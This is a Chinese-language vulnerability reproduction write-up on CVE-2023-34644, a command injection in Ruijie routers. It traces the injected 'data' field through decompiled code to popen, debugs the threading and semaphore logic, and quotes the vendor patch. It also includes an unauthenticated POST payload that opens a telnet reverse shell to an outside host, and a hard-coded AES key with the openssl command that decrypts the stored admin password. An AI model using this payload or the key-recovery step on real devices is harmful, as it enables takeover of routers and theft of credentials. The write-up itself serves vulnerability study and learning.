if ( v4 )//经过三次跳转后,对v4做判断,因为v4为0 会触发下面的else
{
......
}
else
{
if ( v3 != 2 )//v3是2,所以这个if进不去
{
......
}
v18 = sub_40CEAC(a1, a1 + 88, 0, 0);//触发关键函数
......
}
return v18;
}

sub_40CEAC 函数的分析如下

if ( *(_BYTE *)(*a1 + 46) )
return 0;
v5 = *(_DWORD *)(*a1 + 4);
if ( strcmp(v5, "commit") )//v5是set,这里判断的是不为commit则进入if,所以这两个if都能进入
{
if ( strcmp(v5, "init") )
{
if ( !a4 && !a1[7] )//a4是固定的0,但是a1[7]的值为2,导致了这个if进不去
{
.......
}
}
}
gettimeofday(&v90, 0);
v19 = a1[24];
if ( !*(_DWORD *)(v19 + 160) )
{
if ( !is_module_support_lua(a1[24], (int)a1) )
{
v63 = a1[20];//v63为data字段的值
if ( v63 )
v64 = strlen(v63);
else
v64 = 0;
......
if ( a3 )//a3是固定的0
{
......
}
else if ( a4 )//a4也是固定的0
{
......
}
else
{
v70 = snprintf(v66, v68, "/usr/sbin/module_call %s %s", (const char *)a1[5], (const char *)(v67 + 8));//这里其实也是正常的命令拼接 a1[5]是set,v67+8是 networkId_merge
v71 = (const char *)a1[20];//v71是data字段的值
v72 = &v66[v70];
if ( v71 )//如果data字段的值存在的话,执行下面的拼接
v72 += snprintf(&v66[v70], v68, " '%s'", v71);//这里存在了命令注入,data字段的值为我们可控,造成了任意命令拼接到原本的字符串上
v73 = a1[21];
if ( v73 )
snprintf(v72, v68, " %s", v73);
}
......
v74 = *(_DWORD *)(*a1 + 4);
v75 = strcmp(v74, "set");
v76 = *((unsigned __int8 *)a1 + 19);
if ( (!v75 || !strcmp(v74, 0x41FBF4) || a3) && *((_BYTE *)a1 + 4) )
{
......
}
else
{
v18 = ufm_commit_add(0, v66, 0, a2);//此处的v66是上面拼接后的最终命令
}

ufm_commit_add 函数最开始直接调用了 async_cmd_push_queue 函数,下面对该函数进行分析

int __fastcall async_cmd_push_queue(_DWORD *a1, const char *a2, unsigned __int8 a3)
{
v3 = a3;
......
memset(v6, 0, 68);
if ( !a1 )//a1是传入进来的0
{
if ( a2 )//a2是注入的命令字符串
{
v19 = strdup(a2); // 会走到这里
*(_DWORD *)(v7 + 28) = v19;//将命令存储到偏移28的位置,这里比较重要
if ( v19 )
goto LABEL_34; // 会从这里跳转
......
}
}
......
LABEL_34:
v20 = (_DWORD *)dword_435DE0;
*(_DWORD *)(v7 + 60) = &commit_task_head;
dword_435DE0 = v7 + 60;
v21 = dword_4360A4;
*(_DWORD *)(v7 + 64) = v20;
*v20 = v7 + 60;
dword_4360A4 = v21 + 1;
*(_BYTE *)(v7 + 32) = v3;
if ( !v3 )
sem_init(v7 + 36, 0, 0);
pthread_mutex_unlock(&unk_4360B8);
sem_post(&unk_4360A8);//这里将信号量加上了1,意味着其他地方应该是有sem_wait阻塞了一个线程的执行
return v7;
}

切换线程-命令执行

对信号量 unk_4360A8 进行交叉引用,定位到了 sub_41AFC8 函数。只要上面的代码执行sem_post 将该信号量加一,那么这个线程就能继续运行,从而调用 sub_41ADF0 函数(调试这里需要取消线程锁定)

void __fastcall __noreturn sub_41AFC8(int a1)
{
......
while ( 1 )
{
do
{
sem_wait(&unk_4360A8);
......
}
while ( !v4 );
......
sub_41ADF0(v4);
......
}
}

下面对 sub_41ADF0 函数做简单的分析

int __fastcall sub_41ADF0(_DWORD *a1)
{
v1 = *a1;
if ( *a1 )//为0 进不去这个if
{
......
}
else
{
if ( !*((_BYTE *)a1 + 32) )//*((_BYTE *)a1 + 32)为0,可以进入if
{
result = ufm_popen((const char *)a1[7], a1 + 13);//这个a1[7],也就是偏移28的位置,上文中提到最后拼接的命令就被写入了一个结构体偏移28的位置,因此这里触发命令执行,且没有做任何过滤
v3 = a1;
goto LABEL_9;
}
}
return result;
}

image-20230830151703071

POC

/cgi-bin/luci/api/auth 路径发送 POST 报文,即可在未授权的情况下拿到路由器的最高权限

{
"method": "merge",
"params": {
"sorry": "'$(mkfifo /tmp/test;telnet 192.168.45.66 6666 0</tmp/test|/bin/sh > /tmp/test)'"
}
}

攻击演示

image-20230831145405109

image-20230831145508255

上面对 lua 文件以及二进制文件的调用链进行了分析和调试,下面记录下在分析过程中自己产生的疑问以及自己探究出的答案

疑问&&解决

deal_remote_config_handle函数是怎么被触发的

uf_cmd_task_init 函数中,调用了 create_thread 函数,该函数调用了 pthread_create 函数来创建一个新的线程

int __fastcall create_thread(int a1)
{
int result; // $v0

result = pthread_create();
if ( result )
{
*(_BYTE *)(a1 + 13) = 0;
result = -1;
}
else
{
*(_BYTE *)(a1 + 13) = 1;
}
return result;
}

直接看 IDA 发现 create_thread 函数中并没有参数,但是该函数的定义如下

int pthread_create(pthread_t *thread, const pthread_attr_t *attr,
void *(*start_routine)(void *), void *arg);

其中标明了第三个参数(寄存器应该为 $a2)是新线程的执行入口函数,判断出这里是 IDA 的显示问题,分析汇编代码查看 pthread_create 函数的第三个参数

LOAD:0040BE64                 li      $gp, (dword_4358A0+0x7FF0 - .)
LOAD:0040BE6C addu $gp, $t9
LOAD:0040BE70 addiu $sp, -0x20
LOAD:0040BE74 la $t9, pthread_create
LOAD:0040BE78 lw $a2, 4($a0)
LOAD:0040BE7C move $a1, $zero
LOAD:0040BE80 sw $s0, 0x18+var_s0($sp)
LOAD:0040BE84 sw $gp, 0x18+var_8($sp)
LOAD:0040BE88 sw $ra, 0x18+var_s4($sp)
LOAD:0040BE8C move $a3, $a0
LOAD:0040BE90 jalr $t9 ; pthread_create
LOAD:0040BE94 move $s0, $a0

发现有指令 lw $a2, 4($a0) $a0create_thread 函数的实参,这里是将 $a04 的位置赋值给了 $a2 ,交叉引用发现 deal_remote_config_handle 函数地址最终就是 pthread_create 函数的第三个参数

*(_DWORD *)(v10 + 4) = deal_remote_config_handle;
if ( create_thread(v10) )

所以判断 deal_remote_config_handle 函数是在 uf_cmd_task_init 新创建的线程中当做入口函数来执行的

用户没有传入数据时,进程在哪里被阻塞了?

IDA 中有如下代码,这里从其他进程中读取了用户输入的数据,如果在 uf_socket_msg_read 函数执行前后分别打下断点的话,按几次 c 后发现,调试界面就会卡到 uf_socket_msg_read 函数执行后的界面

v51 = (_DWORD *)uf_socket_msg_read(*v29, v31 + 1);

我最初一直以为是 uf_socket_msg_read 函数如果没有接收到数据,就会阻塞,直到接收新的数据。但这样的话,应该是卡到了 uf_socket_msg_read 函数执行时,并非是卡到了 uf_socket_msg_read 函数执行后。卡到了执行后其实就是卡到的是下一次 uf_socket_msg_read 函数执行前。因此就推翻了我原先的认知,为了寻找具体是哪里将进程阻塞,我下了大量的断点,逐步缩小范围,最终找到了 while ( select(fbss + 1, g_fd_set, 0, 0, 0) <= 0 );

int select(int nfds, fd_set *readfds, fd_set *writefds,fd_set *exceptfds, struct timeval *timeout);

select 函数允许程序监视多个文件描述符,等待所监视的一个或者多个文件描述符变为 “准备就绪” 的状态。所谓的 ”准备就绪“ 状态是指:文件描述符不再是阻塞状态,可以用于某类IO操作了,包括可读,可写,发生异常三种。在 select 函数调用之后,如果返回值大于 0 ,表示至少有一个文件描述符 “准备就绪” ,程序中的 select 函数监视的是是否有文件描述符变成可读(也就是有数据可以读取),如果 timeout == NULL ,会无期限的等待下去,这个等待可以被一个信号中断,只有当一个描述符准备好,或者捕获到一个信号时函数才会返回。如果是捕获到信号,select 返回 -1 ,并将变量errno 设置成 EINTR

验证的话,只需要在 select(fbss + 1, g_fd_set, 0, 0, 0) 代码执行前后打上断点,发现确实卡在了 select 函数执行时,当用户发送报文后,代码就可以继续往后执行了,因为 select 函数已经确定了有文件描述符变成了可读,所以后面的 uf_socket_msg_read 函数可以顺利接收到用户传入的数据。至此确定卡住进程的并不是 uf_socket_msg_read 函数,而是 select 函数

从deal_remote_config_handle函数如何执行到uf_cmd_call函数

我把 uf_cmd_call 函数当做正式调用链的入口,通过调试可以得知 uf_cmd_call 函数是在 deal_remote_config_handle 中被调用的

image-20230829102836486

但这里并非是顺序执行代码,正常触发 uf_cmd_call

deal_remote_config_handle 函数刚执行时就会在下面的循环卡住

do
{
*(_DWORD *)(a1 + 16) = 0;
v3 = uf_task_remote_pop_queue();
*(_DWORD *)(a1 + 16) = v3;
}
while ( !v3 );

uf_task_remote_pop_queue 函数开始执行了 sem_wait(&unk_435E90) ,这里表示在等待一个信号量,如果信号量的值大于零,则将信号量的值减一,然后继续执行;如果信号量的值为零,则进程(或线程)将被阻塞,直到信号量的值大于零。通过调试的话能发现,实际造成线程卡住的代码就是 sem_wait ,这就说明肯定有一个地方还没有触发相应信号量的 sem_post 操作

int uf_task_remote_pop_queue()
{
int v0; // $s0

sem_wait(&unk_435E90);
pthread_mutex_lock(&unk_435E74);
if ( (int *)cmd_task_remote_head == &cmd_task_remote_head )
{
v0 = 0;
}
else
{
v0 = cmd_task_remote_head - 4;
sub_40B620((_DWORD *)cmd_task_remote_head);
}
pthread_mutex_unlock(&unk_435E74);
return v0;
}

接下来对信号量进行交叉引用,sub_40B0B0 中确实是一个 sem_post(&unk_435E90) 的操作,然后 uf_task_remote_pop_queue 也就是下图的位置 sem_wait(&unk_435E90),最后的 uf_cmd_task_init 函数中是 sem_init(&unk_435E90, 0, 0)

image-20230829104446429

根据上面的分析可知,只有 sub_40B0B0 函数存在 sem_post(&unk_435E90) ,因此下面要追踪 sub_40B0B0 函数的调用链,对其交叉引用发现在 sub_40B304 函数进行了调用

image-20230829104848068

至此都是正常的分析思路,接下来应该继续对 sub_40B304 函数进行交叉引用,但这里 IDA 就对我的分析产生了误导,通过下图得知,应该是只有一个叫做 uf_lock_cmd_pop_all 的函数调用了 sub_40B304

image-20230829105258147

查看 uf_lock_cmd_pop_all 函数代码,发现确实是进行了调用

image-20230829105440844

但如果继续跟 uf_lock_cmd_pop_all 这条链的话,最后就发现这条链在 main 函数的触发太靠前了,实际上改变信号量触发 uf_cmd_call 的操作一定是要在接收用户数据之后做的。并且可以用 gdb 验证,只需要在 sub_40B0B0 函数下一个断点,在 uf_lock_cmd_pop_all 函数下一个断点,最后发现程序没有在 uf_lock_cmd_pop_all 函数处断下来,而在 sub_40B0B0 断下来了。

因此得出结论,除去 uf_lock_cmd_pop_all 函数,一定还有一条链也可以触发 sub_40B0B0 函数,而这个链通过 IDA 的交叉引用并没有看到 (在实际我分析这里时,我其实分析和调试了很久才做出了这个判断,因为有怀疑过 gdbbug,有怀疑过是我调用链没分析明白,但最后通过分析和调试逐一排除了这些推断)也有一点运气使然,我后续无意翻看代码时,在位于 add_pkg_cmd2_task 函数中,我看到了 sub_40B304 函数,该函数是 sub_40B0B0 上级函数。

因此还有一条链也能改变信号量,如下

main => add_pkg_cmd2_task => sub_40B304 => sub_40B0B0 => sem_post(&unk_435E90)

能发现这条链的原因有三个,第一是这条调用链不深(如果 add_pkg_cmd2_task 函数调用了三四层函数才到 sub_40B304 ,大概率也很难找到),第二是我当时将函数重命名了(我写本文的时候将 sub_40B304 sub_40B0B0 函数改回了 IDA 默认的名称,不过在我分析的时候,我对这些关键的调用函数都做了重命名,可以一眼看到这类函数,否则用默认名字,长的差不多的情况下,也不一定能注意到),第三是坚持(这个调用链的问题,我整整分析了一天,虽然结论只是 IDA 有点问题,但这个误导以及摆脱误导的过程是困难且有意义的,如果不是 winmt 师傅让我对细节的坚持,或许我早已放弃这一个小小的信号量分析)

scp命令报错解决

在使用 scp 命令传输的时候,报错如下

➜  204 sudo scp squashfs-root.tar.gz root@192.168.45.66:/root/204.tar.gz
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
SHA256:tVc2ekHlAJNyIu0Fo9rOvfudWIVfkMpa3FSLlDcGeVQ.
Please contact your system administrator.
Add correct host key in /root/.ssh/known_hosts to get rid of this message.
Offending RSA key in /root/.ssh/known_hosts:6
remove with:
ssh-keygen -f "/root/.ssh/known_hosts" -R "192.168.45.66"
RSA host key for 192.168.45.66 has changed and you have requested strict checking.
Host key verification failed.
lost connection

产生这个错误的原因是因为 SSH 密钥认证的安全机制, SSH 使用密钥来确保通信的安全性和身份认证,每台 SSH 服务器都有一个公钥和私钥。当第一次连接到 SSH 服务器上时,服务器会生成一对密钥,将公钥发给客户端,这个公钥会保存在客户端本地的 known_hosts 文件中,当以后连接到同一个服务器的时候,客户端会检查服务器发送过来的公钥是否和 known_hosts 文件中的公钥匹配,如果匹配,连接就会被建立,如果不匹配(可能受到了中间人攻击或者服务器密钥已更改),就会出现如上报错。

解决方法:执行 ssh-keygen -f "/root/.ssh/known_hosts" -R "192.168.45.66" 命令,它将删除 known_hosts 文件中与服务器 IP 地址 192.168.45.66 相关的密钥记录。然后重新执行 scp 命令进行文件传输,这样 SSH 客户端会检测到新的主机密钥,并将其添加到已知主机列表中(known_hosts 文件)

image-20230825101111496

后续利用

拿到路由器的最高权限后,也有一些后续的利用。比如拿管理员后台密码,劫持流量(抓取未加密的数据),修改 ARP 缓存表等等。因为本人只是一个正在学习相关知识的学生,对大部分的利用并不成熟,目前只记录拿到管理员后台密码的分析,后续如果有其他方面的进展,也会将细节进行补充

拿到管理员后台密码

在登录锐捷管理员后台的时候随便输入一个密码,点击登录

image-20230909122721847

Burp 拦截请求,发现下面的报文中 methodlogin

image-20230909123105750

这里的路径为 /api/auth ,根据代码 entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false 可知会触发 rpc_auth 函数

function rpc_auth()
local jsonrpc = require "luci.utils.jsonrpc"
local http = require "luci.http"
local ltn12 = require "luci.ltn12"
local _tbl = require "luci.modules.noauth"
if tonumber(http.getenv("HTTP_CONTENT_LENGTH") or 0) > 1000 then
http.prepare_content("text/plain")
-- http.write({code = "1", err = "too long data"})
return "too long data"
end
http.prepare_content("application/json")
ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
end

jsonrpc.handle(_tbl, http.source()) 代码中,会根据 method 的值调用 noauth.lua 文件中对应的函数(具体的调用链参考上文 lua文件代码分析),这里就会调用 login 函数

function login(params)
local disp = require("luci.dispatcher")
local common = require("luci.modules.common")
local tool = require("luci.utils.tool")
if params.password and tool.includeXxs(params.password) then
tool.eweblog("INVALID DATA", "LOGIN FAILED")
return
end
local authOk
local ua = os.getenv("HTTP_USER_AGENT") or "unknown brower (ua is nil)"
tool.eweblog(ua, "LOGIN UA")
local checkStat = {
password = params.password,
username = "admin", -- params.username,
encry = params.encry,
limit = params.limit
}
local authres, reason = tool.checkPasswd(checkStat)
local log_opt = {username = params.username, level = "auth.notice"}
if authres then
authOk = disp.writeSid("admin")
-- 手动登录时设置时间
if params.time and tonumber(params.time) then
common.setSysTime({time = params.time})
end
log_opt.action = "login-success"
else
log_opt.action = "login-fail"
end
tool.write_log(log_opt)
return authOk
end

上面的代码中,我们关注下检查密码的函数 checkPasswd (它的参数是一个叫做 checkStat 的表,其中包含了前端传入的加密后的密码),该函数定义在 luci/utils/tool 文件中

-- 检测密码是否正确
function checkPasswd(checkStat)
local cmd = require("luci.modules.cmd")
local _data = {
type = checkStat.encry and "enc" or "noenc",
password = checkStat.password,
name = checkStat.username,
limit = checkStat.limit and "true" or nil
}
local _check = cmd.devSta.get({module = "adminCheck", device = "pc", data = _data})
if type(_check) == "table" and _check.result == "success" then
return true
end
return false, _check.reason
end

关键触发点是 cmd.devSta.get({module = "adminCheck", device = "pc", data = _data})

lua 文件中的代码 cmd.devSta.get({module = "adminCheck", device = "pc", data = _data}) 执行后,会走到 unifyframe-sgi.elf 文件中,最后将 /usr/sbin/module_call get adminCheck 命令执行(这里的 a1[5] 代表操作符 get(v67+8)module 字段的值 adminCheck

        v70 = snprintf(v66, v68, "/usr/sbin/module_call %s %s", (const char *)a1[5], (const char *)(v67 + 8));
v71 = (const char *)a1[20];
v72 = &v66[v70];
if ( v71 )
v72 += snprintf(&v66[v70], v68, " '%s'", v71);
v73 = a1[21];
if ( v73 )
snprintf(v72, v68, " %s", v73);
......
ufm_commit_add(0, v66, 1u, 0)//然后切换到其他线程上将 v66 命令给执行

下面来分析 /usr/sbin/module_call 文件代码

#!/bin/sh
ROM_AC_CONFIG_DIR="/rom/etc/rg_config/global/"
ROM_DEV_CONFIG_DIR="/rom/etc/rg_config/single/"
RG_CONFIG_TMP_DIR="/tmp/rg_config/"
cmd="$1"
module="$2"
param="$3"
path="$4"
register_module() {
local module=$1
local module_file

module_file="/usr/bin/$module"
if [ -f "$module_file" ]; then
. "$module_file"
else
return 1
fi
return 0
}

module_init() {
......
}

get_default() {
......
}

register_module "$module"
if [ $? = 1 ]; then
return 1
fi

for arg in $* ;do
if [ "$arg" == "-n" ];then
not_change_configId=$arg
fi
done

case "$cmd" in
set|add|del|update|apply) ${module}_${cmd} "${param}" "$path" "${not_change_configId}" 2> /dev/null;;
getDefault) get_default "$module" "$param";;
get) ${module}_get "${param}";;
*) ;;
esac

cmd="$1" module="$2" 这里将字符串 getadminCheck 分别赋给了 cmd module 变量

首先执行了 register_module "$module" ,简单分析一下 register_module 可知其在判断 /usr/bin/adminCheck 文件是否存在,如果不存在的话 module_call 文件的执行就结束了,存在的话对 /usr/bin/adminCheck 模块进行加载(将该文件中的代码合并到当前 shell 进程中,从而加载了函数和变量)

随后调用了 for 循环,来遍历脚本的命令行参数是否有 -n (当前分析的这个链并没有),最终关键代码为下面的 case 语句,如果匹配到了 set add del update appley 中的任何一个,就会执行 ${module}_${cmd} "${param}" "$path" "${not_change_configId}" 2> /dev/null 也就是 adminCheck_get 2> /dev/null

adminCheck_get/usr/bin/adminCheck 文件中的函数,主要作用是调用了函数 adminCheck_parse ,其关键的代码部分如下。

json_get_var password "password"
......
local ciphertext=$(cat /etc/rg_config/admin)
local passwd_old=`deenc "$ciphertext"`
......
if [ "$passwd_old" = "$password" ]
......

deenc()
{
local passwd=$1
echo "$passwd"| /usr/sbin/rg_crypto dec -t C

}

通过上面的代码可知,管理员后台密码加密后存放在 /etc/rg_config/admin 文件中,直接执行 echo "$passwd"| /usr/sbin/rg_crypto dec -t C 命令就能得到解密后的管理员后台密码。

下面用真机演示一下(我用的设备型号是 EW1200G-PRO ,软件版本是 EW_3.0(1)B11P25,Release(07162402)) ,我看了一下这个 /usr/bin/adminCheck 的文件,发现它的解密和上面并不一样,这里执行的应该是 echo "$passwd"| openssl enc -aes-256-cbc -d -a -k "RjYkhwzx\$2018!"

image-20230912105245882

最后执行命令如下,得到管理员密码为 88888888

image-20230912105533075

补丁:

官方在 EW_3.0(1)B11P226 版本,对上述漏洞发布了补丁 https://www.ruijie.com.cn/fw/rj/92255/

新添加了一个 detect_remoteIp_invalid 函数,该函数检查了 remoteIP 字段是否为纯数字或者字符 . ,因为正常的 IP 应该为 xx.xx.xx.xx 。这相当于对命令注入的字段做了一个过滤

int __fastcall detect_remoteIp_invalid(char *buf)
{
int len; // $v0
char *v3; // $a0
char *v4; // $v0
int v5; // $v1

len = strlen(buf);
v3 = buf;
v4 = &buf[len];
while ( v3 != v4 )
{
v5 = *v3;
if ( (unsigned __int8)(v5 - 48) < 0xAu )
{
++v3;
}
else
{
++v3;
if ( v5 != '.' )
{
uf_log_printf(
uf_log,
"ERROR (%s %s %d)invalid char: %c, need [number][.][number]!",
"sgi.c",
"detect_remoteIp_invalid",
273,
v5);
return -1;
}
}
}
return 0;
}

尾声

对于 CVE-2023-34644 的复现结束了,这个漏洞的复现从开始到结束历经了一个多月(与此同时还有 CVE-2023-38902 的研究)。期间碰到了很多奇怪的报错以及思考时产生的疑问,比起 CVE-2023-20073 的复现,这次自己进行了更多的思考。再次要特别感谢 winmt 师傅,关于 CVE-2023-34644 的大部分关键点其实 winmt 已经写的很详细了。但是在复现的过程中,对于我这个初学者来说,依然有很多的问题感到一知半解,有不少地方经过尝试后依然没有思路,都想得过且过,认为此处理解的不透彻也并不影响整体的分析。可在细节上得过且过,真的在独立的漏洞挖掘中有所高质量的产出么?扪心自问,我不认为会有高质量的产出。比如在上文提到的信号量触发 uf_cmd_call 函数,不追踪到底的话,我只知道有个地方肯定操作了信号量导致了 uf_cmd_call 执行,但具体是哪里操作的信号量呢?IDA 显示不完整的情况下,探究的过程并不容易。如果不知道具体哪里操作的信号量,我就不能说完全弄清了整个的漏洞调用链,那复现一个漏洞连完整的触发调用链都没搞清,那复现的意义到底是什么呢?在复现的过程中都是一知半解,那在真实环境下进行独立的漏洞挖掘,找漏洞又何从谈起呢,甚至于找到了漏洞,但是连怎么走到漏洞点都分析不明白。感谢 winmt 多次 “push” ,让我没有得过且过。对于学习而言,可能比起当前暂时领先于常人的能力和知识而言,对 产生的问题始终保持好奇 和 “再试一次”的精神 更为重要和难得。

参考文章

https://bbs.kanxue.com/thread-277386.htm#msg_header_h2_4

https://blog.csdn.net/zujipi8736/article/details/86606093